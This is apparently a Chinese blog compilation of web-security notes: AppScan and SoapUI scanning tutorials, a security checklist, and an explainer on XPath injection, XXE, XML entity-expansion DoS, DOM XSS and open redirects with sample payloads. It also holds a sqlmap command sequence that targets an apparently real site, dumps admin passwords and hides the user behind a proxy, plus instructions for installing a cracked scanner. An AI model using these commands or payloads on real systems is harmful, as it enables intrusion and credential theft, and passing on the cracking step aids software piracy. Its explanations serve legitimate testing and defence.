公司的 APPSCAN安装再一台 测试机  隔断时间不用  发现启动不了了   后来查了一下资料  重装了一下Microsoft .NET Framework 3.5 就恢复正常   

sqlmap是一个灰常强大的sql注入检测与辅助工具，但是由于没有图形界面，基本上用起来比较麻烦，导致很多人可能宁愿用havij或者是pangolin也不愿意麻烦去翻帮助界面，我自己也是把很多语句贴到了一个记事本里面用，其实真正用起来也就5,6句，也不会太复杂，下文以php+mysql为例：

检查注入点sqlmap -u http://ooxx.com.tw/star_photo.php?artist_id=11

列数据库信息sqlmap -u http://ooxx.com.tw/star_photo.php?artist_id=11 --dbs

指定库名列出所有表sqlmap -u http://ooxx.com.tw/star_photo.php?artist_id=11 -D vhost48330 --tables

指定库名表名列出所有字段sqlmap -u http://ooxx.com.tw/star_photo.php?artist_id=11 -D vhost48330 -T admin --columns

指定库名表名字段dump出指定字段sqlmap -u http://ooxx.com.tw/star_photo.php?artist_id=11 -D vhost48330 -T admin -C ac,id,password --dump

有几个参数可能会用到，直接加在最后面就可以了，更多详细参数见官方文档：

--cookie=COOKIE 在需要登录的地方，需要登录后的cookie

--proxy="http://127.0.0.1:8087" 使用HTTP代理隐藏自己的身份，比如使用goagent等

--sql-query=QUERY 执行一个sql语句，不一定支持

过程的几张图如下：

 安全漏洞checklist

NO	检查点
1	严禁在自己系统处理用户Login，必须使用腾讯公司统一提供的登录接口或者参数openid/openkey登录。 应用中需要考虑对登录态做校验。详见这里的说明。
2	严禁增/删/改防火墙iptables，私自开通高危端口。
3	检查Flash跨域策略文件crossdomain.xml是否合法。
4	检查是否有CSRF漏洞。
5	信息泄露漏洞安全性检查（例如test.cgi、phpinfo.php、info.pho、.svn/entries、HTTP认证泄漏漏洞、管理后台泄漏漏洞、内网信息泄漏漏洞、错误详情信息泄漏等）。
6	检查是否有XSS漏洞（不合法的参数不能在页面原样返回，特别是openid/openkey）
7	检查是否泄漏后台默认文件漏洞
8	检查Flash跨域策略文件的安全性。避免Flash注入javascript或者actionscript脚本在浏览器或者flash中执行跨站攻击。
9	Cookie安全性检查。
10	检查是否有跳转漏洞。
11	检查是否有Header注入漏洞。
12	检查是否有源代码泄漏漏洞。
13	检查是否有Frame-proxy攻击漏洞。
14	检查是否有SQL注入攻击漏洞。
15	检查是否有并发漏洞。
16	敏感信息检查。应用需要对可能造成腾讯公司公关、媒体危机的敏感内容，以及用户生成内容（UGC，由用户发表的言论）进行检查和过滤。 敏感词过滤必须采用腾讯公司提供的敏感词过滤接口。
17	检查通过WEB页面发起的临时会话窗口的所有显示内容。
18	目录浏览漏洞安全性检查
19	检查是否泄漏员工电子邮箱漏洞以及分机号码。

1. Ice-Hole

Ice-Hole是一款新型钓鱼培训工具，安全分析师和系统管理员可利用这款工具测试用户和日程表钓鱼邮件。当用户点击到用于训练的钓鱼邮件时，该工具可进行追踪。如果追踪的链接被用户点击，那么用户会被导向一个训练页面。它会注册训练所用的IP地址，邮件和钓鱼模板。这款工具由Darren Manners创建，作为SyCom科技公司的渗透测试骨干，他认为，第三方开源工具可以增强Ice-Hole的功能。

2. HyperText Access Exploit

HyperText Access Exploit是一款开源工具，可用于绕开限制，并在Web应用服务器上寻找额外的漏洞。它会利用.htaccess文件（可通过验证进程保护Web目录的配置文件）的弱点。该工具会列出受保护目录的内容。此工具由Matias Katz和Maximilliano Soler共同开发，前者是Mkit Argentina渗透测试员及创立者，后者是一家国际银行的安全分析师。

3.Smartphone Pentest Framework


Smartphone Pentest Framework是利用Defense Advanced Research Projects Agency的Cyber Fast Track专款开发的工具。这款开源工具旨在让渗透测试员对所在环境中的设备执行远程或社工攻击来掌握智能手机的安全态势。该工具由Bulb Security CEO Georgia Weidman制作，且已经得到扩展，可以支持其他的攻击技巧和其他第三方渗透工具。

4. SocialKlepto

企业借助SocialKlepto可以用虚拟社交账号，自动化的公共数据库搜索和数据分析监控竞争对手的社交活动，从而收集对方的商业情报。这款工具套在2013年度的RSA大会上首次亮相过，当时是由梭子鱼网络公司的Jason Ding推荐的。此系统可帮助企业创造诱饵或是虚假的LinkedIn账户或是欺骗性质的Facebook账户，目的是监控竞争对手的社交关系。

Ding还将介绍如何防止窃听的方法，包括为管理LinkedIn隐私设置而新创建的Chrome插件。

5. SimpleRisk

SimpleRisk是一款开源工具，它可以帮助安全专家们管控存在风险的管理行为。适合那些没钱购买监控，风险和服从软件的公司使用。它可以取代那些常被用于组织数据和做风险决策的电子表格。SimpleRisk向用户呈现了一个风险管理控制面板，上面显示了系统，团队和安全技术的状态以及正在进行中的风险化解项目。一个开放风险的屏幕会按照安全策略和其他要素对风险进行分类。这款工具由安全研究员Josh Sokol制作，他是National Instruments信息安全项目的所有者。

最近自己玩了一下 XSCAN  NESSUS NMAP  和fluxay  

http://wenku.baidu.com/view/aa93641fa76e58fafab00369.html

转载

      本文仅提供通过设置SoapHeader来控制非法用户对WebService的调用，如果是WebService建议使用WSE3.0来保护Web服务，如果使用的是Viaual Studio 2008可以使用WCF，WCF里面提供了更多的服务认证方法。以下提供一种基于SoapHeader的自定义验证方式。

1.首先要自定义SoapHeader,须继承System.Web.Services.Protocols.SoapHeader 。

2.添加WebService,并编写相应代码。

3.客户端调用，分别使用不设置SoapHeader与设置SoapHeader。

利用 SoapUI 和 AppScan 检测 Web 服务安全漏洞

下面我们使用 SoapUI 重新探索上述案例，并使用 AppScan 扫描 SoapUI 探索的结果。如果没有安装 GSC，用户可以使用这种方案来检测 Web 服务的安全漏洞。

1. 新建常规扫描，设置扫描类型为“Web 应用程序扫描”。

图 12. 新建 Web 应用扫描
 

2. 输入起始 URL：http://www.altoromutual.com/transfer/transfer.asmx?wsdl

图 13. 设置起始 URL
 

3. 登录方法选择“无”。

图 14. 设置登录方法
 

4. 依旧选择“Web Service”测试策略。

图 15. 设置测试策略
 

5. 因为我们将使用 SoapUI 进行探索，所以这里选择“稍后启动扫描”，然后点击“完成”按钮。

图 16. 完成向导并稍后启动扫描
 

6. 接下来，我们需要设置 SoapUI 和 AppScan 的代理关系。点击“工具”-“选项”，查看当前 AppScan 的动态代理端口。这里，我们将 AppScan 作为 Web 代理服务器，因此需要将此代理端口提供给 SoapUI。

图 17. 查看 AppScan 代理端口
 

7. 打开 SoapUI，新建一个 SoapUI 工程，命名为“AltoroMutual”，WSDL 地址设为“http://www.altoromutual.com/transfer/transfer.asmx?wsdl”

图 18. 新建 soapUI 工程
 

8. SoapUI 新建工程过程中，会自动导入 WSDL 定义。从下图可以看出，跟 GSC 类似，SoapUI 在左侧展示了 Web 服务的所有操作及其 SOAP 格式。

图 19. soapUI 工程创建完成
 

9. 点击“File”-“Preferences”，进入 Proxy Settings，设置 AppScan 作为代理服务器，如下图所示。端口 2979 为步骤 6 中所查看到的端口号。点击“OK”保存设置。

图 20. 设置 soapUI 的代理
 

10. 双击“TransferBalance”下的 SOAP 请求，右侧会展示 SOAP 消息体，我们同样输入 transferDate，debitAccount，creditAccount 及 transferAmount 等参数，然后点击绿色三角按钮执行该 SOAP 请求。

图 21. 修改参数并提交 SOAP 请求
 

11. 稍等片刻，SoapUI 即展示出以上请求的响应信息。

图 22. 查看 Web Service 响应
 

12. 关闭 SoapUI。AppScan 会自动弹出手工探测结果，提醒用户进行确认。直接点击“确定”。

图 23. 查看手工探索结果
 

13. 同样进入 AppScan 数据视图，我们可以看到 AppScan 探索到了 SoapUI 所发出的 SOAP 请求及收到的响应。

图 24. AppScan 探索结果中的 SOAP 请求
 

14. 点击“扫描”-“仅测试”，AppScan 即自动对当前探索结果进行自动化渗透测试。

以上两个案例的扫描脚本分别保存为“Demo_GSC.scan”、“Demo_SoapUI.scan”，供读者下载比较其配置方式的异同。

 

利用 AppScan GSC 检测 Web 服务安全漏洞

1. 选择“常规扫描”模板，新建扫描。

图 1. 新建常规扫描
 

2. 设置扫描类型为“Web Service 扫描”。

图 2. 设置 Web Service 扫描类型
 

3. 输入 WSDL 的访问地址：http://demo.testfire.net/transfer/transfer.asmx?wsdl

图 3. 设置 WSDL URL
 

4. 选择“Web Service”测试策略

图 4. 设置 Web Service 测试策略
 

5. 点击“完成”，AppScan 将自动启动通用服务客户机 GSC。

图 5. 完成扫描配置向导
 

6. GSC 启动后，会自动根据提供的 WSDL 地址，导入 WSDL 文件，需要稍等片刻。

图 6. 常规服务客户端 GSC 自动导入 WSDL
 

7. 导入 WSDL 后，我们可以在左侧看到 Web 服务所提供的所有操作及对应的 SOAP 请求。

图 7. GSW 完成 WSDL 导入
 

8. 我们选择 TransferBalance 操作，点击其 ServiceSoap，右侧将出现请求 SOAP 消息的表单，选择“transDetails”，然后输入 transferDate，debitAccount，creditAccount 及 transferAmount 等参数，如下图所示，然后点击“调用”按钮。

图 8. 编辑 SOAP 请求数据
 

9. 等待并查看 Web 服务响应。

图 9. 查看 Web Service 响应
 

10. 关闭 GSC，AppScan 会自动导入 GSC 探索到的 URL，我们可以在数据视图中查看该 URL 的请求及响应。

图 10. 查看 GSC 探索结果
 

11. 点击“扫描”-“仅测试”，AppScan 即自动对当前 Web 服务的 TransferBalance 操作进行自动化渗透测试。结果如下图所示。

图 11. 查看 Web Service 测试结果
 

请注意：

• 以上案例，我们仅仅测试了 Web 服务中的其中一个操作，实际测试中应对所有的操作都进行测试；
• 案例中，我们发现了 SQL 注入漏洞等常见 Web 应用漏洞，佐证了 Web 服务可能存在常见的 Web 应用安全漏洞；
• 案例中我们使用了默认 Web Service 测试策略，默认 Web Service 测试策略不包括 XML 解析相关的拒绝服务测试变体，实际测试中应结合项目实际要求定制自己的测试策略。

转载

前言

近年来 Web 服务应用日趋广泛，人们往往利用 Web 服务集成不同平台的应用程序，或是将公共服务通过服务接口暴露给外部用户使用。然而，新技术往往同时带来新风险。由于 Web 服务直接暴露了应用程序的服务接口，且穿越了防火墙的控制，黑客可以利用 Web 服务攻击企业应用。本文旨在帮助读者识别 Web 服务常见安全漏洞，了解如何规避这些安全漏洞，同时结合案例跟读者分享如何利用 Rational AppScan 检测 Web 服务的安全漏洞。

Web 服务安全简介

Web 服务技术实现了应用程序之间的跨平台、跨编程语言通信，其最基本的组成部分为服务的提供者（Service Provider）和服务的请求者（Service Requester）。两者通过基于标准的 XML 格式的协议进行通信的，这种最常用的协议就是 SOAP（Simple Object Access Protocol）。按照 Web 服务的相关标准描述，服务的提供者应该首先通过 WSDL（Web Service Definition Language）和 UDDI（Universal Description, Discovery, and Integration）发布它所提供的服务到一个统一注册这些服务信息的存储库中去。这样，服务的请求者就可以通过 WSDL 和 UDDI 发现服务提供者提供的服务，并通过应用的调用方法来使用这个服务。

对于任何应用程序来说，保护信息访问的安全都是最基本的要求。在面向服务体系架构（Service Oriented Architecture，SOA）原则构造的复杂系统环境中，Web 服务扮演着各个系统组件之间的协调员的角色，因此 Web 服务的安全性尤为重要。Web 服务客观需要业界统一的安全规范体系，使各种系统能够以一个与平台和语言无关的方式安全地互相操作。

结合 Web 服务的技术特性，下文我们从传输层、消息层及应用层进行了解 Web 服务安全相关技术及特点。

传输层安全

目前绝大多数 Web 服务实现主要采用了基于 HTTP 的 SOAP 协议。HTTP 协议在安全性方面相当薄弱。HTTP 协议只提供一种身份确认的认证方法，它不提供数据隐私及数据完整性方面的保护。因此，对于基于 HTTP 的 Web 服务来说，我们应尽量采用安全套接字层（Secure Sockets Layer，SSL）来保障传输数据的安全。安全套接字层协议在客户机和服务器之间建立了一条安全的信息隧道，一个加密的 SSL 连接要求所有在客户机和服务器之间传输的信息都由发送软件加密，由接收软件解密，这样就提供了高度的机密性（数据隐私）。此外，所有在加密 SSL 连接上传输的数据都由一个自动数据完整性机制保护，确保数据在传输过程中未经更改。

这样，通过 SSL 我们能保障传输数据的认证、数据完整性及保密性。但 SSL 并不能解决所有的问题，SSL 仅仅保障数据传输过程中的数据安全，也不能解决消息层面所面临的安全问题。

消息层安全

2002 年 IBM 和 Microsoft 发布了一个联合的安全性白皮书“Security in a Web Services World：A Proposed Architecture and Roadmap”。它定义了一个全面的 Web 服务安全性模型，该模型对几个流行的安全性模型、机制和技术（同时包括对称密钥技术和公钥技术）加以支持、集成和统一，使各种系统能够以一个与平台和语言无关的方式安全地互相操作。它还描述了一组规范和方案，指出应怎样将这些规范一起使用。

Web 服务安全性 (WS-Security) 规范主要致力于提供消息层面的安全机制，在实现上主要在 SOAP 中通过 XML Signature、XML Encryption 和 Security Tokens（譬如 UsernameToken、X.509 Certificates、SAML 等）保障消息的安全性。Web 服务的安全性协议体系以 WS-Security 规范为基础，有六个主要的组成规范：

• Web 服务策略 (WS-Policy) 和相关的规范，定义了关于服务交互方式的策略规则。
• Web 服务信任 (WS-Trust)，定义了安全交换的信任模型。
• Web 服务隐私 (WS-Privacy)，定义了如何维护信息的隐私。
• Web 服务安全会话 (WS-Secure Conversation)，定义了如何使用在 Web 服务策略 (WS-Policy)、Web 服务信任 (WS-Trust) 和 Web 服务隐私 (WS-Privacy) 中定义的规则，以在用于交换数据的服务之间建立安全会话。
• Web 服务联盟 (WS-Federation)，定义了分布式标识的规则以及如何对其进行管理。
• Web 服务授权 (WS-Authorization)，定义了如何处理对访问和交换数据的授权。

简而言之，WS-Security 通过消息完整性、消息机密性和消息认证及一些扩展模型保障了 SOAP 消息安全传递。但 WS-Security 并不能解决应用层面的安全问题。此外，Web 服务基于 XML 的特性还导致 Web 服务可能存在着 XML 相关的安全漏洞，譬如 XPath 注入、XML 解析相关的拒绝服务攻击（Denial of Service，DoS）等。

应用层层安全

很多人误以为 Web 服务没有界面，黑客就无法进行攻击。事实上，Web 服务通常仅是对现有应用层功能进行了封装，其后台应用层代码如果存在安全漏洞，黑客完全可以使用 Web 服务进行攻击这些漏洞。绝大多数情况下，Web 服务默认都支持 WSDL 的发布服务，黑客可以轻松获取 WSDL 从而了解 Web 服务提供的操作及 SOAP 消息格式，这使得攻击变得尤为简易。所以说，Web 应用中所面临的安全威胁同样存在于 Web 服务中。

因此，我们要走出误区，SSL 和 WS-Security 并不能解决所有的安全问题，SQL 注入、XSS 等 Web 层的常见安全漏洞同样可能存在于我们的 Web 服务中。Web 服务的安全不仅仅是传输层、消息层的安全，还要关注 Web 服务背后应用层代码中的安全漏洞。这需要开发团队从需求、编码、测试及部署等各个阶段进行预防、检测及修复，全面保障 Web 服务的安全。

回页首

Web 服务常见安全漏洞

前文介绍了 Web 服务安全相关基础技术，掌握以上知识不代表就能开发出安全的 Web 服务。俗话说“知己知彼，百战不殆”，作为应用开发 / 测试人员，我们除了掌握 Web 服务安全相关知识外，还应了解常见安全漏洞原理，这样才能够根据具体应用实际情况，因地制宜地进行安全建模、风险评估及安全测试等工作。

正如前文所分析的，Web 服务安全漏洞主要包括常见 Web 应用安全漏洞，以及 XML 相关的特殊安全漏洞。其中 Web 服务相关的应用层漏洞包括有命令注入（SQL、LDAP、OS Command）、缓冲区溢出、不正确的异常处理、无效的访问控制等。XML 相关的安全漏洞主要有命令注入（XPath、XQuery）、拒绝服务攻击（SOAP 数组溢出、递归的 XML 实体声明、超大消息体）以及信息泄漏（XML External Entity File Disclosure）等。鉴于篇幅所限，下文将选择其中最常见的几个漏洞进行剖析，以飨读者。

XPath 注入

SQL 注入是大家所熟知的安全漏洞，同样的原理，XPath 作为用来查询 XML 数据的语言，同样容易存在很多注入漏洞。某种程度来说，XPath 注入比 SQL 注入更简单，因为不同数据库产品的 SQL 语句有不同的方言，而 XPath 相对比较标准。我们假定某 Web 服务后台采用了这段代码来查询某 XML 数据文件中的记录。

清单 1. 存在注入漏洞的 XPath 查询

Stmt = "//users/user[username/text()='" + username+ "' and password/text()='" + password + "']/id/text()";

 

其中 username 和 password 是通过 SOAP 消息进行传输，如下文：

清单 2. 传递 XPath 查询参数的 SOAP 消息片段

<soap:Envelope xmlns:soap="">  <soap:Body>  <fn:PerformFunction xmlns:fn="">  <fn:uid>testuser</fn:uid>  <fn:password>testpassword</fn:password>  </fn:PerformFunction>  </soap:Body> </soap:Envelope>

 

假如黑客利用 SOAP 传入 username="admin", password="' or '1'='1"，以上 XPath 查询就变为：

清单 3. 遭注入的 XPath 查询

Stmt="//users/user[username/text()='admin' and password/text()='' or '1'='1']/id/text()";

 

这样黑客即可实现特权升级，访问到 admin 用户信息。

拒绝服务攻击

由于 Web 服务基于 XML 格式的协议进行通信（例如 SOAP 消息）。当 SOAP 消息到达 Web 服务器段时，服务器端会调用 XML Parser 解析 XML 数据（包括 DTD 声明），黑客可以利用大量的超大消息体或者递归的 XML 实体声明，让服务器端长时间解析 XML 数据，直至服务器资源耗竭，从而形成拒绝访问攻击，导致 Web 服务停止服务。

例如，SOAP 消息中可以加入以下大量无意义的实体声明，导致 SOAP 消息解析缓慢。

清单 4. SOAP 消息中无意义的实体声明示例

<!DOCTYPE root [ <!ENTITY ha "Ha !"> <!ENTITY ha2 "&ha; &ha;"> <!ENTITY ha3 "&ha2; &ha2;"> ... <!ENTITY ha127 "&ha126; &ha126;"> <!ENTITY ha128 "&ha127; &ha127;"> ]>

 

信息泄漏

某些 Web 服务会返回客户端指定的资源信息时，如果服务器端防范不当，则可能存在信息泄漏隐患。举个简单的类似 HelloWorld 的例子，假设某个 Web 服务会接受用户传来的名字“Jeremy”，然后返回“Hello, Jeremy!”。但，如果黑客传入如下参数：

清单 5. SOAP 消息中声明外部文件引用

<!DOCTYPE root [ <!ENTITY myfile SYSTEM "file://c:/windows/win.ini"> ]> ... <name>&myfile;</name>

 

服务器端如果疏于参数校验及文件访问权限控制，该 Web 服务可能返回系统文件的内容。

回页首

Web 服务安全推荐实践

显而易见，开发安全的 Web 服务是一项系统而复杂的工作。实际项目中 Web 服务的开发往往依赖于一些框架及中间件。因此如何开发安全的 Web 服务，需要结合各个框架和中间件进行具体分析。目前 DeveloperWorks 中有大量的资料，读者可自行研读，本文不再就此深入。下文笔者仅结合自己项目经历，就开发安全的 Web 服务所需要注意的一些事项，给大家共享一些实践经验，以供参考。

概而言之，开发安全的 Web 服务包括三个步骤：1、识别需要保护的 Web 服务资源；2、从传输层、消息层、应用层考虑安全设计；3、利用渗透测试检测安全漏洞并修复。

识别需要保护的 Web 服务资源

首先我们应评估需要保护的 Web 服务，了解它潜在的安全风险，整理其安全需求，作为后期的设计实现的基础。以下是笔者整理的检查清单，评估工作具体可以通过回答这些问题来进行整理。

• 访问 Web 服务是否需要认证？
• 是否需要检查服务请求者对 Web 服务的访问权限？
• Web 服务是否接受请求者传递的参数？
• 这些参数是否可行 & 如何校验？
• Web 服务请求 / 响应的消息体是否包括敏感信息？
• Web 服务的消息体如何传输 & 如何存储？
• Web 服务的数据在传输 / 存储时是否需要加密处理？
• Web 服务的后端程序是否跟其他第三方应用存在交互，这个过程是否可行？

利用以上这些评估工作的结果，最终形成 Web 服务的安全需求。

从三个层面进行综合安全设计

Web 服务设计开发过程中，需要将步骤一形成的安全需求落实到系统设计和编码实现中去。如果采用了基于 HTTP 的 SOAP 消息传输，我们推荐使用 SSL 保障传输层的安全。对于受保护的 Web 服务资源，建议通过 Security Token 保障消息的认证访问；对于敏感信息，建议使用 XML Encryption 进行加密；推荐使用 XML Signature 保障消息的完整性。具体编码过程中，需要遵循安全编程的原则，譬如参数的校验和转码、异常的封装处理等。推荐在开发阶段使用代码分析工具进行白盒安全检查。

利用渗透测试进行检测

Web 服务部署过程中，我们推荐使用 XML 网关（譬如 WebSphere DataPower Service Gateway）保障 XML 通信的安全。XML 网关通常处于外部网络与目标系统之间，解析接收到的 XML 信息流，并利用 XML Schema、WSDL 等判断 XML 消息是否符合要求，并根据检测及判断结果执行访问控制规则，将可信的合法信息流向目标系统，将非法信息进行阻截。因此，XML 网关有助于过滤 Web 服务所面临的 XML 相关的安全漏洞。

此外，系统部署阶段，我们推荐进行渗透测试，作为最后一道安全措施，进一步保障 Web 服务的安全性。IBM Rational AppScan Standard（下文简称为 AppScan）产品是业界领先的 Web 应用安全测试工具，它提供了集成的“通用服务客户机 (GSC)”，能基于 WSDL 探索 Web 服务，并结合测试策略库针对常见 Web 服务安全漏洞自动生成测试变体，自动执行这些测试变体并生成测试报告，从而实现自动化渗透测试。

Altoro Mutual 是 IBM 所提供的 Web 安全漏洞演示网站，下文笔者将向读者展示如何利用 AppScan 来检测该网站所存在的 Web 服务安全漏洞。考虑到 SoapUI 是大家熟悉的 Web 服务测试工具，本文将同时介绍如何结合 SoapUI 和 AppScan 进行检测 Web 服务安全漏洞。

回页首

利用 AppScan GSC 检测 Web 服务安全漏洞

1. 选择“常规扫描”模板，新建扫描。

查看(3345) 评论(0) 收藏 分享 管理

摘自IBM  何健

基于 DOM 的跨站点脚本编制

我们都听说过 XSS（Cross Site Script，跨站点脚本编制，也称为跨站脚本攻击），指的是攻击者向合法的 Web 页面中插入恶意脚本代码（通常是 HTML 代码和 JavaScript. 代码）然后提交请求给服务器，随即服务器响应页面即被植入了攻击者的恶意脚本代码，攻击者可以利用这些恶意脚本代码进行会话劫持等攻击。跨站点脚本编制通常分为反射型和持久型：当请求数据在服务器响应页面中呈现为未编码和未过滤时，即为反射型跨站点脚本编制；持久型指的是包含恶意代码的请求数据被保存在 Web 应用的服务器上，每次用户访问某个页面的时候，恶意代码都会被自动执行，这种攻击对于 Web2.0 类型的社交网站来说尤为常见，威胁也更大。应对跨站点脚本编制的主要方法有两点：一是不要信任用户的任何输入，尽量采用白名单技术来验证输入参数；二是输出的时候对用户提供的内容进行转义处理。

但鲜为人知的是还有第三种跨站点脚本编制漏洞。2005 年 Amit Klein 发表了白皮书《基于 DOM 的跨站点脚本编制—第三类跨站点脚本编制形式》（"DOM Based Cross Site Scripting or XSS of the Third Kind"），它揭示了基于 DOM 的跨站点脚本编制不需要依赖于服务器端响应的内容，如果某些 HTML 页面使用了 document.location、document.URL 或者 document.referer 等 DOM 元素的属性，攻击者可以利用这些属性植入恶意脚本实施基于 DOM 的跨站点脚本编制攻击。

下面我们将通过一个很简单的 HTML 页面来演示基于 DOM 的跨站点脚本编制原理。假设有这么一个静态 HTML 页面（如清单 1 所示），用来展示欢迎用户成功登录的信息。

清单 1. 存在 DOM based XSS 的 HTML 代码

<HTML> <TITLE>Welcome!</TITLE> Hi <SCRIPT> var pos=document.URL.indexOf("name=")+5; document.write(document.URL.substring(pos,document.URL.length)); </SCRIPT> <BR> Welcome to our system … </HTML>

按照该页面 JavaScript. 代码逻辑，它会接受 URL 中传入的 name 参数并展示欢迎信息，如清单 2 所示：

清单 2. 正常情况下的访问 URL

http://www.vulnerable.site/welcome.html?name=Jeremy

但如果恶意攻击者输入类似如下的脚本，见清单 3，该页面则会执行被注入的 JavaScript. 脚本。

清单 3. 访问 URL 中注入脚本

http://www.vulnerable.site/welcome.html?name=<script>alert(document.cookie)</script>

很明显，受害者的浏览器访问以上 URL 的时候，服务器端会跟正常情况下一样返回清单 1 中所示 HTML 页面，然后浏览器会继续将这个 HTML 解析成 DOM，DOM 中包含的 document 对象的 URL 属性将包含清单 3 中注入的脚本内容，当浏览器解析到 JavaScript. 的时候会执行这段被注入的脚本，跨站点脚本编制攻击即成功实现。

值得关注的是，通过以上示例可以看出，恶意代码不需要嵌入服务器的响应中，基于 DOM 的跨站点脚本编制攻击也能成功。可能某些读者会认为：目前主流浏览器会自动转义 URL 中的 '<' 和 '>' 符号，转义后的注入脚本就不会被执行了，基于 DOM 的跨站点脚本编制也就不再有什么威胁了。这句话前半段是对的，但后半段就不准确了。我们要意识到攻击者可以很轻松地绕过浏览器对 URL 的转义，譬如攻击者可以利用锚点 '#' 来欺骗浏览器，如清单 4 所示。浏览器会认为 '#' 后面的都是片段信息，将不会做任何处理。

清单 4. 访问 URL 中结合锚点注入脚本

http://www.vulnerable.site/welcome.html#?name=<script>alert(document.cookie)</script>

通过 URL 重定向钓鱼

网络钓鱼是一个通称，代表试图欺骗用户交出私人信息，以便电子欺骗身份。通过 URL 重定向钓鱼指的是 Web 页面会采用 HTTP 参数来保存 URL 值，且 Web 页面的脚本会将请求重定向到该保存的 URL 上，攻击者可以将 HTTP 参数里的 URL 值改为指向恶意站点，从而顺利启用网络钓鱼欺骗当前用户并窃取用户凭证。清单 5 给出了较为常见的含有通过 URL 重定向钓鱼漏洞的代码片段。

清单 5. 执行重定向的 JavaScript. 代码片段

<SCRIPT> … var sData = document.location.search.substring(1); var sPos = sData.indexOf("url=") + 4; var ePos = sData.indexOf("&", sPos); var newURL; if (ePos< 0) { newURL = sData.substring(sPos); } else { newURL = sData.substring(sPos, ePos); } window.location.href = newURL; … </SCRIPT>

可以看出，这些 JavaScript. 脚本负责执行重定向，新地址是从 document.location、document.URL 或者 document.referer 等 DOM 元素的属性值中截取出来的，譬如用户输入清单 6 所示。

清单 6. 执行重定向的 URL

http://www.vulnerable.site/redirect.html?url=http://www.phishing.site

显然用户一旦执行了清单 6 所示 URL，将被重定向到钓鱼网站。这个漏洞的原理很简单，比服务器端的重定向漏洞更好理解。但通过 URL 重定向钓鱼的情况下，钓鱼站点的网址并不会被服务端拦截和过滤，因此，这个漏洞往往比服务器端重定向漏洞更具有隐蔽性。

 这是国外一款非常不错的web检测工具，vulnerabilityscanner.exe成功安装后，将Acunetix.Web.Vulnerability.Scanner.V5.1.Build.71023破解补丁.CracKed.By.Hmily文件复制到安装目录下，运行就可以完成软件的破解了。

 

成功安装以后，桌面出现两个图标：

 

 

配置测试扫描信息：

1、点击进入“Acunetix Web Vulnerability Scanner 5.exe”，主体界面：左侧是工具。

 

 

 

 

2、选中左边工具Configuration下的Scanning Profiles，主界出现测试扫描信息的选项目列表。全选所有的项目，并保存。

          

 

如何进行网站测试？

1、选择“Tools Explorer”下的“Web Scanner”，鼠标右键出现选项菜单，选择“ New scan”

 

 

 

弹出“Scan Wizard”扫描向导,输入您所要测试的网址

 

 

 

然后“下一步”直到“结束”，然后测试工具自动进行网站测试：

 

 

如何成功测试报告？

1、点击进入“Acunetix WVS Reporter.exe”，主体界面，选择左侧的“Default Report Templat”，进入以下界面。

 

 

2、选择界面上的“Report Wizard”按钮，弹出以下窗口：

 

3、按“NEXT”出现选择扫描结果窗口：

 

 

 

4、选择需要生成测试报告的名称，按“Next”，进入报告属性

 

 

4、按“Generate”，然后生成测试报告:

 

 

5、选择“Save Report”保存报表

 

                                                                                         

 

使用 AppScan 进行扫描

针对大型网站的扫描，我们按照戴明环 PDCA 的方法论来进行规划和讨论，建议 AppScan 使用步骤：计划（Plan）、执行（Do）、检查（check）、分析（Analysis and Action）。

1. 在计划阶段：明确目的，进行策略性的选择和任务分解。
   1. 明确目的：选择合适的扫描策略
   2. 了解对象：首先进行探索，了解网站结构和规模
   3. 确定策略：进行对应的配置
   4. 按照目录进行扫描任务的分解
   5. 按照扫描策略进行扫描任务的分解
2. 执行阶段：一边扫描一遍观察
   1. 进行扫描
   2. 先爬后扫（继续仅测试）
3. 检查阶段（Check）
   1. 检查和调整配置
4. 结果分析（Analysis）
   1. 对比结果
   2. 汇总结果（整合和过滤）

下面我们针对每个阶段，进行具体的阐述。

回页首

准备阶段

AppScan 安装环境要求和检查

为了保证更好的扫描效果，安装 AppScan 的硬件建议配置如下：

表 1. Rational AppScan 安装配置要求

硬件	最低需求
处理器	Pentium P4，2.4 GHz
内存	2 GB RAM
磁盘空间	30 GB
网络	1 NIC 100 Mbps（具有已配置的 TCP/IP 的网络通信）

其中，处理器和内存建议越大越好，而磁盘空间，建议系统盘（一般是 C 盘）磁盘空间至少保留 10G，如果系统盘磁盘空间比较少，可以考虑把用户文件等保存在其他盘；如默认的用户文件是：C:\Documents and Settings\Administrator\My Documents\AppScan；可以修改为其他路径。该路径可以在菜单栏中依次选择工具 - 选项 - 一般 - 文件位置部分修改。

图 1. 设置文件保存路径
 

磁盘要求：修改临时文件路径

有时候大家会发现，已经把上面的地址都修改到了其他盘，但是在扫描过程中，还是会发现 C 盘的空间快速被消耗，分析原因，是因为很多临时文件都保存在 C 盘，AppScan 中有一个隐藏的参数 APPSCAN_TEMP 来设置临时文件位置。在扫描过程中，如果系统盘空间比较下，可以通过修改系统变量来修改到其他硬盘空间。

临时文件位置说明：描述正常操作期间 AppScan 将其临时文件保存到的位置。缺省情况下，AppScan 将其临时文件存储在以下位置：

C:\Documents and Settings\All Users\Application Data\IBM\Rational AppScan\temp

如果需要修改此缺省位置，请按照要求编辑环境变量 APPSCAN_TEMP 的路径。（访问环境变量的方法是，右键单击我的电脑，然后依次选择属性 > 高级 > 环境变量。）

注意：在新位置的路径中绝不能有任何 Unicode 字符。

修改 AppScan 中的临时文件：

1. 桌面上鼠标右键选择“我的电脑”，选择“属性”
2. 选择“高级”，“环境变量”
3. 增加一个新的“用户环境变量”，名字是“APPSCAN_TEMP”，设定路径，指向您希望保存临时文件的目录。

回页首

计划阶段

在计划阶段，首先明确几个问题：

1. 关心哪些类型的安全问题，根据这些安全问题来设置扫描规则。
2. 要扫描的网站地址，网站的业务特点。

扫描策略的选择

试想，我们现在要扫描的是某个移动公司的网站系统，该网站系统提供多个内容频道，还可以连接到多个其他移动公司网站和业务网站，我们本次安全测试重点关心的是门户网站本身和其上面的网上营业厅业务。这就是一个比较明确的测试目标对象。

然后，确定扫描策略，我们主要关心该网站是否存在跨站点脚本执行和 SQL 注入的问题，则在扫描规则中，我们就可以选择这两种类型的规则，其他规则都排除。

具体的扫描规则定制，可以在扫描配置 - 测试 - 测试策略中选择：

在测试策略中，有多种不同的分组模式，最经常使用的是“严重性”，“类型”，“侵入式”、“WASC 威胁分类”等标准，根据不同分组选择的扫描策略，最后组成一个共同的策略集合。

根据我们这次扫描的目标，关心的是跨站点脚本执行和 SQL 注入的问题，而且不考虑“基础结构”级别的安全问题。则就可以首先选择一个默认的扫描策略，然后全部置空，再选择

跨站点脚本执行和 SQL 注入，最后再去除这两种扫描策略中和基础结果相关的安全问题。

方法如下：

